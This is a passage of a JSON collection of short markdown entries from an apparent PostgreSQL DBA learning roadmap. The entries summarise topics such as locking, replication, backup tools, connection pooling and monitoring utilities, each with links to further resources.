    "path": "src/data/roadmaps/postgresql-dba/content/learn-to-automate@e5s7-JRqNy-OhfnjTScZI.md",
    "content": "# Learn Automation in PostgreSQL\n\nWhen working with PostgreSQL, automating repetitive and time-consuming tasks is crucial for increasing efficiency and reliability in your database operations.\n\nVisit the following resources to learn more:\n\n- [@article@PostgreSQL - Automation](https://www.postgresql.org/docs/current/maintenance.html)\n- [@article@Autoscaling Azure PostgreSQL Server with Automation Tasks](https://techcommunity.microsoft.com/blog/adforpostgresql/autoscaling-azure-postgresql-server-with-automation-tasks/3911718)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/lock-management@pOkafV7nDHme4jk-hA8Cn.md",
    "content": "# Lock Management\n\nLock management in PostgreSQL is implemented using a lightweight mechanism that allows database objects, such as tables, rows, and transactions, to be locked in certain modes. The primary purpose of locking is to prevent conflicts that could result from concurrent access to the same data or resources.\n\nThere are various types of lock modes available, such as `AccessShareLock`, `RowExclusiveLock`, `ShareUpdateExclusiveLock`, etc. Each lock mode determines the level of compatibility with other lock modes, allowing or preventing specific operations on the locked object.\n\nLearn more from the following resources:\n\n- [@official@Lock Management](https://www.postgresql.org/docs/current/runtime-config-locks.html)\n- [@article@Understanding Postgres Locks and Managing Concurrent Transactions](https://medium.com/@sonishubham65/understanding-postgres-locks-and-managing-concurrent-transactions-1ededce53d59)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/logical-replication@rmsIw9CQa1qcQ_REw76NK.md",
    "content": "# Logical Replication\n\nLogical replication in PostgreSQL allows the selective replication of data between databases, providing flexibility in synchronizing data across different systems. Unlike physical replication, which copies entire databases or clusters, logical replication operates at a finer granularity, allowing the replication of individual tables or specific subsets of data. This is achieved through the use of replication slots and publications/subscriptions. A publication defines a set of changes (INSERT, UPDATE, DELETE) to be replicated, and a subscription subscribes to these changes from a publisher database to a subscriber database. Logical replication supports diverse use cases such as real-time data warehousing, database migration, and multi-master replication, where different nodes can handle both reads and writes. Configuration involves creating publications on the source database and corresponding subscriptions on the target database, ensuring continuous, asynchronous data flow with minimal impact on performance.\n\nLearn more from the following resources:\n\n- [@official@Logical Replication](https://www.postgresql.org/docs/current/logical-replication.html)\n- [@article@Logical Replication in PostgreSQL Explained](https://www.enterprisedb.com/postgres-tutorials/logical-replication-postgresql-explained)\n- [@article@How to start Logical Replication for PostgreSQL](https://www.percona.com/blog/how-to-start-logical-replication-in-postgresql-for-specific-tables-based-on-a-pg_dump/)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/mailing-lists@8H7hJhGKxr1nrjkHv9Xao.md",
    "content": "# Mailing Lists\n\nMailing lists are an essential part of PostgreSQL's development community. They provide a platform for collaboration, discussion, and problem-solving. By participating in these lists, you can contribute to the development of PostgreSQL, share your knowledge with others, and stay informed about the latest updates, improvements, and conferences.\n\nPostgreSQL's development community offers a variety of mailing lists for discussions, announcements, and contributions. Key lists include **pgsql-hackers** for core development and feature discussions, **pgsql-announce** for official announcements, **pgsql-general** for general usage and administration queries, **pgsql-novice** for beginners seeking advice, and **pgsql-docs** for documentation-related contributions. Regional and language-specific lists are also available. To engage, subscribe to a mailing list that matches your interests, introduce yourself, read the archives for context, and participate in discussions. For guidelines, follow the Mailing List Etiquette.\n\nVisit the following resources to learn more:\n\n- [@official@Mailing List Etiquette](https://www.postgresql.org/community/lists/etiquette/)\n- [@official@pgsql-hackers Subscription](https://www.postgresql.org/list/pgsql-hackers/)  \n- [@official@pgsql-announce Subscription](https://www.postgresql.org/list/pgsql-announce/)  \n- [@official@pgsql-general Subscription](https://www.postgresql.org/list/pgsql-general/)  \n- [@official@pgsql-novice Subscription](https://www.postgresql.org/list/pgsql-novice/)  \n- [@official@pgsql-docs Subscription](https://www.postgresql.org/list/pgsql-docs/)  \n- [@official@PostgreSQL Mailing Lists page](https://www.postgresql.org/list/)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/migration-related-tools@3Lcy7kBKeV6hx9Ctp_20M.md",
    "content": "# liquibase, sqitch, Bytebase, ora2pg etc\n\nMigrations are crucial in the lifecycle of database applications. As the application evolves, changes to the database schema and sometimes data itself become necessary. \n\nLearn more from the following resources:\n\n- [@official@Liquibase Website](https://www.liquibase.com/)\n- [@official@Sqitch Website](https://sqitch.org/)\n- [@official@Bytebase Website](https://www.bytebase.com/)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/modifying-data@G2NKhjlZqAY9l32H0LPNQ.md",
    "content": "# Modifying Data in PostgreSQL\n\nModifying data in PostgreSQL is an essential skill when working with databases. The primary DML queries used to modify data are `INSERT`, `UPDATE`, and `DELETE`.\n\nLearn more from the following resources:\n\n- [@official@INSERT](https://www.postgresql.org/docs/current/sql-insert.html)\n- [@official@UPDATE](https://www.postgresql.org/docs/current/sql-update.html)\n- [@official@DELETE](https://www.postgresql.org/docs/current/sql-delete.html)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/mvcc@-_ADJsTVGAgXq7_-8bdIO.md",
    "content": "# Multi-Version Concurrency Control (MVCC)\n\nMulti-Version Concurrency Control (MVCC) is a technique used by PostgreSQL to allow multiple transactions to access the same data concurrently without conflicts or delays. It ensures that each transaction has a consistent snapshot of the database and can operate on its own version of the data.\n\nVisit the following resources to learn more:\n\n- [@official@Intro to MVCC](https://www.postgresql.org/docs/current/mvcc-intro.html)\n- [@article@Multi-Version Concurrency Control - Wikipedia](https://en.wikipedia.org/wiki/Multiversion_concurrency_control)\n- [@article@What is MVVC?](https://www.theserverside.com/blog/Coffee-Talk-Java-News-Stories-and-Opinions/What-is-MVCC-How-does-Multiversion-Concurrencty-Control-work)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/normalization--normal-forms@Fcl7AD2M6WrMbxdvnl-ub.md",
    "content": "# Data Normalization: Normal Forms\n\nData normalization in PostgreSQL involves organizing tables to minimize redundancy and ensure data integrity through a series of normal forms: First Normal Form (1NF) ensures each column contains atomic values and records are unique; Second Normal Form (2NF) requires that all non-key attributes are fully dependent on the primary key; Third Normal Form (3NF) eliminates transitive dependencies so non-key attributes depend only on the primary key; Boyce-Codd Normal Form (BCNF) further ensures that every determinant is a candidate key; Fourth Normal Form (4NF) removes multi-valued dependencies; and Fifth Normal Form (5NF) addresses join dependencies, ensuring tables are decomposed without loss of data integrity. These forms create a robust framework for efficient, consistent, and reliable database schema design.\n\nLearn more from the following resources:\n\n- [@article@A Guide to Data Normalization in PostgreSQL ](https://www.cybertec-postgresql.com/en/data-normalization-in-postgresql/)\n- [@video@First normal form](https://www.youtube.com/watch?v=PCdZGzaxwXk)\n- [@video@Second normal form](https://www.youtube.com/watch?v=_NHkY6Yvh64)\n- [@video@Third normal form](https://www.youtube.com/watch?v=IN2m7VtYbEU)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/null@91eOGK8mtJulWRlhKyv0F.md",
    "content": "# The Relational Model: Null Values\n\nIn the relational model used by PostgreSQL, null values represent missing or unknown information within a database. Unlike zero, empty strings, or other default values, null signifies the absence of a value and is treated uniquely in operations and queries. For example, any arithmetic operation involving a null results in a null, and comparisons with null using standard operators return unknown rather than true or false. To handle null values, PostgreSQL provides specific functions and constructs such as `IS NULL`, `IS NOT NULL`, and the `COALESCE` function, which returns the first non-null value in its arguments. Understanding and correctly handling null values is crucial for accurate data retrieval and integrity in relational databases.\n\nVisit the following resources to learn more:\n\n- [@official@PostgreSQL - NULL](https://www.postgresql.org/docs/current/datatype-numeric.html#DATATYPE-NULL)\n- [@article@PostgreSQL - NULL Values](https://www.relationaldbdesign.com/database-analysis/module2/relational-database-null-values.php)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/object-model@RoYP1tYw5dvhmkVTo1HS-.md",
    "content": "# Object Model in PostgreSQL\n\nPostgreSQL is an object-relational database management system (ORDBMS). That means it combines features of both relational (RDBMS) and object-oriented databases (OODBMS). The object model in PostgreSQL provides features like user-defined data types, inheritance, and polymorphism, which enhances its capabilities beyond a typical SQL-based RDBMS.\n\nVisit the following resources to learn more:\n\n- [@official@Object Model](https://www.postgresql.org/docs/current/tutorial-concepts.html)\n- [@article@Understanding PostgreSQL: The Power of an Object-Relational](https://medium.com/@asadbukhari886/understanding-of-postgresql-the-power-of-an-object-relational-database-b6ae349c3f40)\n- [@article@PostgreSQL Server and Database Objects](https://neon.com/postgresql/postgresql-tutorial/postgresql-server-and-database-objects)\n"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/object-privileges@S20aJB-VuSpXYyd0-0S8c.md",
    "content": "# Object Privileges\n\nObject privileges in PostgreSQL are the permissions given to different user roles to access or modify database objects like tables, views, sequences, and functions. Ensuring proper object privileges is crucial for maintaining a secure and well-functioning database.\n\nLearn more from the following resources:\n\n- [@article@PostgreSQL Roles and Privileges Explained](https://www.aviator.co/blog/postgresql-roles-and-privileges-explained/)\n- [@article@What are Object Privileges?](https://www.prisma.io/dataguide/postgresql/authentication-and-authorization/managing-privileges#what-are-postgresql-object-privileges)\n"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/olap@WI3-7hFAnJw5f7GIn-5kp.md",
    "content": "# OLAP\n\nOnline Analytical Processing (OLAP) in PostgreSQL refers to a class of systems designed for query-intensive tasks, typically used for data analysis and business intelligence. OLAP systems handle complex queries that aggregate large volumes of data, often from multiple sources, to support decision-making processes. PostgreSQL supports OLAP workloads through features such as advanced indexing, table partitioning, and the ability to create materialized views for faster query performance. Additionally, PostgreSQL's support for parallel query execution and extensions like Foreign Data Wrappers (FDW) and PostGIS enhance its capability to handle large datasets and spatial data, making it a robust platform for analytical applications.\n\nLearn more from the following resources:\n\n- [@article@Transforming Postgres into a Fast OLAP Database](https://blog.paradedb.com/pages/introducing_analytics)\n- [@video@Online Analytical Processing](https://www.youtube.com/watch?v=NuVAgAgemGI)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/oltp@VekAMpcrugHGuvSbyPZVv.md",
    "content": "# Workload Dependant Tuning\n\nOnline Transaction Processing (OLTP) in PostgreSQL refers to a class of systems designed to manage transaction-oriented applications, typically for data entry and retrieval transactions in database systems. OLTP systems are characterized by a large number of short online transactions (INSERT, UPDATE, DELETE), where the emphasis is on speed, efficiency, and maintaining data integrity in multi-access environments. PostgreSQL supports OLTP workloads through features like ACID compliance (Atomicity, Consistency, Isolation, Durability), MVCC (Multi-Version Concurrency Control) for high concurrency, efficient indexing, and robust transaction management. These features ensure reliable, fast, and consistent processing of high-volume, high-frequency transactions critical to OLTP applications.\n\nLearn more from the following resources:\n\n- [@video@OLTP vs OLAP](https://www.youtube.com/watch?v=iw-5kFzIdgY)\n- [@article@What is OLTP?](https://www.oracle.com/uk/database/what-is-oltp/)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/operators@nRJKfjW2UrmKmVUrGIfCC.md",
    "content": "# Operators in Kubernetes Deployment\n\nOperators in Kubernetes are software extensions that use custom resources to manage applications and their components. They encapsulate operational knowledge and automate complex tasks such as deployments, backups, and scaling. Using Custom Resource Definitions (CRDs) and custom controllers, Operators continuously monitor the state of the application and reconcile it with the desired state, ensuring the system is self-healing and resilient. Popular frameworks for building Operators include the Operator SDK, Kubebuilder, and Metacontroller, which simplify the process and enhance Kubernetes' capability to manage stateful and complex applications efficiently.\n\n- [@roadmap@Visit Dedicated Kubernetes Roadmap](https://roadmap.sh/kubernetes)\n- [@official@Kubernetes](https://kubernetes.io/)\n- [@article@Kubernetes Operators](https://kubernetes.io/docs/concepts/extend-kubernetes/operator/)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/package-managers@pEtQy1nuW98YUwrbfs7Np.md",
    "content": "# Package Managers\n\nPackage managers are essential tools that help you install, update, and manage software packages on your system. They keep track of dependencies, handle configuration files and ensure that the installation process is seamless for the end-user.\n\nVisit the following resources to learn more:\n\n- [@official@Install PostgreSQL with APT](https://www.postgresql.org/download/linux/ubuntu/)\n- [@official@Install PostgreSQL with YUM & DNF](https://www.postgresql.org/download/linux/redhat/)\n- [@official@Install PostgreSQL with Homebrew](https://wiki.postgresql.org/wiki/Homebrew)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/patroni-alternatives@TZvZ_jNjWnM535ZktyhQN.md",
    "content": "# Alternatives to Patroni for PostgreSQL Cluster Management\n\nWhile Patroni is a popular choice for managing PostgreSQL clusters, there are several other tools and frameworks available that you might consider as alternatives to Patroni. Each of these has its unique set of features and benefits, and some may be better suited to your specific requirements or use-cases.\n\nSeveral alternatives to Patroni exist for PostgreSQL cluster management, each with unique features catering to specific needs. **Stolon**, a cloud-native manager by Sorint.lab, ensures high availability and seamless scaling. **Pgpool-II**, by the Pgpool Global Development Group, offers load balancing, connection pooling, and high availability. **Repmgr**, developed by 2ndQuadrant, simplifies replication and cluster administration. **PAF (PostgreSQL Automatic Failover)**, created by Dalibo, provides lightweight failover management using Pacemaker and Corosync. These tools present diverse options for managing PostgreSQL clusters effectively.  \n\nVisit the following resources to learn more:\n\n- [@opensources@sorintlab/stolen](https://github.com/sorintlab/stolon)\n- [@official@RepMgr](https://repmgr.org/)\n- [@official@pgPool](https://www.pgpool.net/mediawiki/index.php/Main_Page)\n- [@opensource@dalibo/PAF](https://github.com/dalibo/PAF)\n"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/patroni@mm0K_8TFicrYdZQvWFkH4.md",
    "content": "# Patroni\n\nPatroni is an open-source tool that automates the setup, management, and failover of PostgreSQL clusters, ensuring high availability. It leverages distributed configuration stores like Etcd, Consul, or ZooKeeper to maintain cluster state and manage leader election. Patroni continuously monitors the health of PostgreSQL instances, automatically promoting a replica to primary if the primary fails, minimizing downtime. It simplifies the complexity of managing PostgreSQL high availability by providing built-in mechanisms for replication, failover, and recovery, making it a robust solution for maintaining PostgreSQL clusters in production environments.\n\nLearn more from the following resources:\n\n- [@opensource@zalando/patroni](https://github.com/zalando/patroni)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/patterns--antipatterns@rnXcM62rgq3p6FQ9AWW1R.md",
    "content": "# Practical Patterns and Antipatterns for Queues in PostgreSQL\n\nPractical patterns for implementing queues in PostgreSQL include using a dedicated table to store queue items, leveraging the `FOR` `UPDATE` `SKIP` `LOCKED` clause to safely dequeue items without conflicts, and partitioning tables to manage large volumes of data efficiently. Employing batch processing can also enhance performance by processing multiple queue items in a single transaction. Antipatterns to avoid include using high-frequency polling, which can lead to excessive database load, and not handling concurrency properly, which can result in data races and deadlocks. Additionally, storing large payloads directly in the queue table can degrade performance; instead, store references to the payloads. By following these patterns and avoiding antipatterns, you can build efficient and reliable queuing systems in PostgreSQL.\n\nLearn more from the following resources:\n\n- [@article@Postgres as Queue](https://leontrolski.github.io/postgres-as-queue.html)\n- [@video@Can PostgreSQL Replace Your Messaging Queue?](https://www.youtube.com/watch?v=IDb2rKhzzt8)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/per-user-per-database-setting@msm4QCAA-MRVI1psf6tt3.md",
    "content": "# Per-User Per-Database Settings in PostgreSQL\n\nIn PostgreSQL, per-user and per-database settings allow administrators to customize configurations for specific users or databases, enhancing performance and management. These settings are managed using the ALTER ROLE and ALTER DATABASE commands.\n\nThese commands store the settings in the system catalog and apply them whenever the user connects to the database or the database is accessed. Commonly customized parameters include search_path, work_mem, and maintenance_work_mem, allowing fine-tuned control over query performance and resource usage tailored to specific needs.\n\nLearn more from the following resources:\n\n- [@official@ALTER ROLE](https://www.postgresql.org/docs/current/sql-alterrole.html)\n- [@official@ALTER DATABASE](https://www.postgresql.org/docs/current/sql-alterdatabase.html)\n"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/perf-tools@wH447bS-csqmGbk-jaGqp.md",
    "content": "# Profiling with Perf Tools\n\nPerf tools is a suite of performance analysis tools that comes as part of the Linux kernel. It enables you to monitor various performance-related events happening in your system, such as CPU cycles, instructions executed, cache misses, and other hardware-related metrics. These tools can be helpful in understanding the bottlenecks and performance issues in your PostgreSQL instance and can be used to discover areas of improvement.\n\nLearn more from the following resources:\n\n- [@article@Profiling with Linux perf tool](https://mariadb.com/kb/en/profiling-with-linux-perf-tool/)\n- [@official@perf: Linux profiling with performance counters ](https://perf.wiki.kernel.org/index.php/Main_Page)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/pev2@9RyMU36KEP__-RzTTz_eo.md",
    "content": "# PEV2\n\n`pev2`, or *Postgres Explain Visualizer v2*, is an open-source tool designed to make query analysis with PostgreSQL easier and more understandable. By providing a visual representation of the `EXPLAIN ANALYZE` output, `pev2` simplifies query optimization by displaying the query plan and execution metrics in a readable structure.\n\nLearn more from the following resources:\n\n- [@opensource@dalibo/pev2](https://github.com/dalibo/pev2)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/pg_basebackup@XYaVsj5_48CSnoTSGXBbN.md",
    "content": "# Backup Recovery Tools: pg_basebackup\n\n`pg_basebackup` is a utility for creating a physical backup of a PostgreSQL database cluster. It generates a consistent backup of the entire database cluster by copying data files while ensuring write operations do not interfere. Typically used for setting up streaming replication or disaster recovery, `pg_basebackup` can be run in parallel mode to speed up the process and can output backups in tar format or as a plain directory. It ensures minimal disruption to database operations during the backup process.\n\nLearn more from the following resources:\n\n- [@official@pg_basebackup](https://www.postgresql.org/docs/current/app-pgbasebackup.html)\n- [@article@Understanding the new pg_basebackup options](https://www.postgresql.fastware.com/blog/understanding-the-new-pg_basebackup-options)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/pg_dump@XZ922juBJ8Om0WyGtSYT5.md",
    "content": "# pg_dump: A PostgreSQL Backup Tool\n\n`pg_dump` is a utility for backing up a PostgreSQL database by exporting its data and schema. Unlike `pg_basebackup`, which takes a physical backup of the entire cluster, `pg_dump` produces a logical backup of a single database. It can output data in various formats, including plain SQL, custom, directory, and tar, allowing for flexible restore options. `pg_dump` can be used to selectively backup specific tables, schemas, or data, making it suitable for tasks like migrating databases or creating development copies. The utility ensures the backup is consistent by using the database's built-in mechanisms to capture a snapshot of the data at the time of the dump.\n\nLearn more from the following resources:\n\n- [@official@pg_dump](https://www.postgresql.org/docs/current/app-pgdump.html)\n- [@article@pg_dump - VMWare](https://docs.vmware.com/en/VMware-Greenplum/5/greenplum-database/utility_guide-client_utilities-pg_dump.html)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/pg_dumpall@QmV-J6fPYQ5CcdGUkBs7y.md",
    "content": "# pg_dumpall: Backing Up Entire PostgreSQL Clusters\n\n`pg_dumpall` is a utility for backing up all databases in a PostgreSQL cluster, including cluster-wide data such as roles and tablespaces. It creates a plain text SQL script file that contains the commands to recreate the cluster's databases and their contents, as well as the global objects. This utility is useful for comprehensive backups where both database data and cluster-wide settings need to be preserved. Unlike `pg_dump`, which targets individual databases, `pg_dumpall` ensures that the entire PostgreSQL cluster can be restored from the backup, making it essential for complete disaster recovery scenarios.\n\nLearn more from the following resources:\n\n- [@official@pg_dumpall](https://www.postgresql.org/docs/current/app-pg-dumpall.html)\n- [@article@pg_dump & pg_dumpall](https://www.postgresqltutorial.com/postgresql-administration/postgresql-backup-database/)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/pg_hbaconf@Y2W29M4piaQsTn2cpyR7Q.md",
    "content": "# PostgreSQL Security: pg_hba.conf\n\nWhen securing your PostgreSQL database, one of the most important components to configure is the `pg_hba.conf` (short for PostgreSQL Host-Based Authentication Configuration) file. This file is a part of PostgreSQL's Host-Based Authentication (HBA) system and is responsible for controlling how clients authenticate and connect to your database. \n\nLearn more from the following resources:\n\n- [@official@The pg_hba.conf file](https://www.postgresql.org/docs/current/auth-pg-hba-conf.html)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/pg_probackup@Id_17Ya-NUvoXxijAZvmW.md",
    "content": "# Pg_probackup\n\n`pg_probackup` is a backup and recovery manager for PostgreSQL, designed to handle periodic backups of PostgreSQL clusters. It supports incremental backups, merge strategies to avoid frequent full backups, validation, and parallelization for efficiency. It also offers features like backup from standby servers, remote operations, and compression. With support for PostgreSQL versions 11 through 16, it enables comprehensive management of backups and WAL archives, ensuring data integrity and efficient recovery processes.\n\nLearn more from the following resources:\n\n- [@opensource@postgrespro/pg_probackup](https://github.com/postgrespro/pg_probackup)\n- [@official@PostgresPro Website](https://postgrespro.com/products/extensions/pg_probackup)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/pg_restore@YSprRhPHkzV8SzDYpIVmp.md",
    "content": "# pg_restore\n\n`pg_restore` is a utility for restoring PostgreSQL database backups created by `pg_dump` in non-plain-text formats (custom, directory, or tar). It allows for selective restoration of database objects such as tables, schemas, or indexes, providing flexibility to restore specific parts of the database. `pg_restore` can also be used to reorder data load operations, create indexes and constraints after data load, and parallelize the restore process to speed up recovery. This utility ensures efficient and customizable restoration from logical backups.\n\n- [@official@pg_restore](https://www.postgresql.org/docs/current/app-pgrestore.html)\n- [@article@A guide to pg_restore](https://www.timescale.com/learn/a-guide-to-pg_restore-and-pg_restore-example)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/pg_stat_activity@_NL5pGGTLNxCFx4axOqfu.md",
    "content": "# Pg Stat Activity\n\n`pg_stat_activity` is a crucial system view in PostgreSQL that provides real-time information on current database connections and queries being executed. This view is immensely helpful when troubleshooting performance issues, identifying long-running or idle transactions, and managing the overall health of the database. `pg_stat_activity` provides you with valuable insights into database connections and queries, allowing you to monitor, diagnose, and act accordingly to maintain a robust and optimally performing system.\n\nLearn more from the following resources:\n\n- [@official@pg_state_activity](https://www.postgresql.org/docs/current/monitoring-stats.html#MONITORING-PG-STAT-ACTIVITY-VIEW)\n- [@article@Understanding pg_stat_activity](https://www.depesz.com/2022/07/05/understanding-pg_stat_activity/)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/pg_stat_statements@wLMGOUaULW7ZALRr-shTz.md",
    "content": "# Pg Stat Statements\n\n**Pg Stat Statements** is a system view in PostgreSQL that provides detailed statistics on the execution of SQL queries. It is particularly useful for developers and database administrators to identify performance bottlenecks, optimize query performance, and troubleshoot issues. This view can be queried directly or accessed through various administration tools. To use Pg Stat Statements, you need to enable the `pg_stat_statements` extension by adding the following line to the `postgresql.conf` configuration file.\n\nLearn more from the following resources:\n\n- [@official@pg_stat_statements](https://www.postgresql.org/docs/current/pgstatstatements.html)\n- [@article@Using pg_stat_statements to Optimize Queries](https://www.timescale.com/blog/using-pg-stat-statements-to-optimize-queries/)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/pgbackrest@5LLYxCj22RE6Nf0fVm8GO.md",
    "content": "# pgBackRest: A Comprehensive Backup and Recovery Solution\n\npgBackRest is a robust backup and restore solution for PostgreSQL, designed for high performance and reliability. It supports full, differential, and incremental backups, and provides features like parallel processing, backup validation, and compression to optimize storage and speed. pgBackRest also includes support for point-in-time recovery (PITR), encryption, and remote operations. Its configuration flexibility and extensive documentation make it suitable for various PostgreSQL deployment scenarios, ensuring efficient data protection and disaster recovery.\n\n- [@official@pgBackRest documentation](https://pgbackrest.org)\n- [@opensource@pgbackrest/pgbackrest](https://github.com/pgbackrest/pgbackrest)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/pgbadger@V2iW8tJQXwsRknnZXoHGd.md",
    "content": "# PgBadger\n\nPgBadger is a fast, efficient PostgreSQL log analyzer and report generator. It parses PostgreSQL log files to generate detailed reports on database performance, query statistics, connection information, and more. PgBadger supports various log formats and provides insights into slow queries, index usage, and overall database activity. Its reports, typically in HTML format, include visual charts and graphs for easy interpretation. PgBadger is valuable for database administrators looking to optimize performance and troubleshoot issues based on log data.\n\nLearn more from the following resources:\n\n- [@opensource@darold/pgbadger](https://github.com/darold/pgbadger)\n- [@article@PGBadger - Postgresql log analysis made easy](https://dev.to/full_stack_adi/pgbadger-postgresql-log-analysis-made-easy-54ki)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/pgbouncer-alternatives@3V1PPIeB0i9qNUsT8-4O-.md",
    "content": "# Connection Pooling: Alternatives to PgBouncer\n\nPgpool-II, HAProxy, and Odyssey are prominent tools for enhancing PostgreSQL performance and availability. **Pgpool-II** is a versatile connection pooler offering load balancing, replication, and connection limits to optimize performance. **HAProxy** excels as a load balancer for distributing connections across PostgreSQL servers, featuring health checks and SSL/TLS support for secure, high-availability setups. **Odyssey**, developed by Yandex, is a multithreaded connection pooler designed for high-performance deployments, providing advanced routing, transparent SSL, and load balancing capabilities tailored for large-scale systems.\n\nLearn more from the following resources:\n\n- [@opensource@yandex/odyssey](https://github.com/yandex/odyssey)\n- [@official@HAProxy Website](http://www.haproxy.org/)\n- [@official@PGPool Website](https://www.pgpool.net/mediawiki/index.php/Main_Page)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/pgbouncer@aKQI7aX4bT_39bZgjmfoW.md",
    "content": "# PgBouncer\n\nPgBouncer is a lightweight connection pooler for PostgreSQL, designed to reduce the overhead associated with establishing new database connections. It sits between the client and the PostgreSQL server, maintaining a pool of active connections that clients can reuse, thus improving performance and resource utilization. PgBouncer supports multiple pooling modes, including session pooling, transaction pooling, and statement pooling, catering to different use cases and workloads. It is highly configurable, allowing for fine-tuning of connection limits, authentication methods, and other parameters to optimize database access and performance.\n\n- [@official@PgBouncer Website](https://www.pgbouncer.org/)\n- [@opensource@pgbouncer/pgbouncer](https://github.com/pgbouncer/pgbouncer)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/pgcenter@TytU0IpWgwhr4w4W4H3Vx.md",
    "content": "# pgcenter\n\n`pgcenter` is a command-line tool that provides real-time monitoring and management for PostgreSQL databases. It offers a convenient interface for tracking various aspects of database performance, allowing users to quickly identify bottlenecks, slow queries, and other potential issues. With its numerous features and easy-to-use interface, `pgcenter` is an essential tool in the toolbox of anyone working with PostgreSQL databases.\n\nLearn more from the following resources:\n\n- [@opensource@lesovsky/pgcenter](https://github.com/lesovsky/pgcenter)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/pgcluu@ISuU1lWH_zVDlCHnWXbf9.md",
    "content": "# pgCluu\n\nPgCluu is a powerful and easy-to-use PostgreSQL performance monitoring and tuning tool. This open-source program collects statistics and provides various metrics in order to analyze PostgreSQL databases, helping you discover performance bottlenecks and optimize your cluster's performance. Apart from PostgreSQL-specific settings, you can also tweak other options, such as the RRDtool's data file format (JPG or SVG), time range for graphs, and more.\n\nLearn more from the following resources:\n\n- [@official@pgCluu Website](https://pgcluu.darold.net/)\n- [@opensource@darold/pgcluu](https://github.com/darold/pgcluu)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/pgq@WCBWPubUS84r3tOXpnZT3.md",
    "content": "# Skytools PGQ\n\nSkytools is a set of tools developed by Skype to assist with using PostgreSQL databases. One of the key components of Skytools is PGQ, a queuing system built on top of PostgreSQL that provides efficient and reliable data processing.\n\nLearn more from the following resources:\n\n- [@opensource@PgQ — Generic Queue for PostgreSQL](https://github.com/pgq)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/physical-storage-and-file-layout@gweDHAB58gKswdwfpnRQT.md",
    "content": "# Physical Storage and File Layout\n\nPostgreSQL's physical storage and file layout optimize data management and performance through a structured organization within the data directory, which includes subdirectories like `base` for individual databases, `global` for cluster-wide tables, `pg_wal` for Write-Ahead Logs ensuring durability, and `pg_tblspc` for tablespaces allowing flexible storage management. Key configuration files like `postgresql.conf`, `pg_hba.conf`, and `pg_ident.conf` are also located here. This layout facilitates efficient data handling, recovery, and maintenance, ensuring robust database operations.\n\nLearn more from the following resources:\n\n- [@article@What is $PGDATA in PostgreSQL?](https://stackoverflow.com/questions/26851709/what-is-pgdata-in-postgresql)\n- [@official@TOAST](https://www.postgresql.org/docs/current/storage-toast.html)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/plpgsql@Ur23UVs_nXaltytF1WJD8.md",
    "content": "# PL/pgSQL - Procedural Language for PostgreSQL\n\n`PL/pgSQL` is a procedural language for the PostgreSQL database system that enables you to create stored procedures and functions using conditionals, loops, and other control structures, similar to a traditional programming language. Using PL/pgSQL, you can perform complex operations on the server-side, reducing the need to transfer data between the server and client. This can significantly improve performance, and it enables you to encapsulate and modularize your logic within the database.\n\nLearn more from the following resources:\n\n- [@official@PL/pgSQL — SQL Procedural Language](https://www.postgresql.org/docs/current/plpgsql.html)\n- [@article@PostgreSQL PL/pgSQL](https://www.postgresqltutorial.com/postgresql-plpgsql/)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/postgresql-anonymizer@Z2PuOmgOqScGFbhvrvrA1.md",
    "content": "# PostgreSQL Anonymizer\n\nPostgreSQL Anonymizer is an extension designed to mask or anonymize sensitive data within PostgreSQL databases. It provides various anonymization techniques, including randomization, generalization, and pseudonymization, to protect personal and sensitive information in compliance with data privacy regulations like GDPR. This extension can be configured to apply these techniques to specific columns or datasets, ensuring that the anonymized data remains useful for development, testing, or analysis without exposing actual sensitive information.\n\n- [@opensource@dalibo/postgresql_anonymizer](https://github.com/dalibo/postgresql_anonymizer)\n- [@official@PostgreSQL Anonymizer Website](https://postgresql-anonymizer.readthedocs.io/en/stable/)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/postgresql-vs-nosql-databases@D0doJTtLu-1MmFOfavCXN.md",
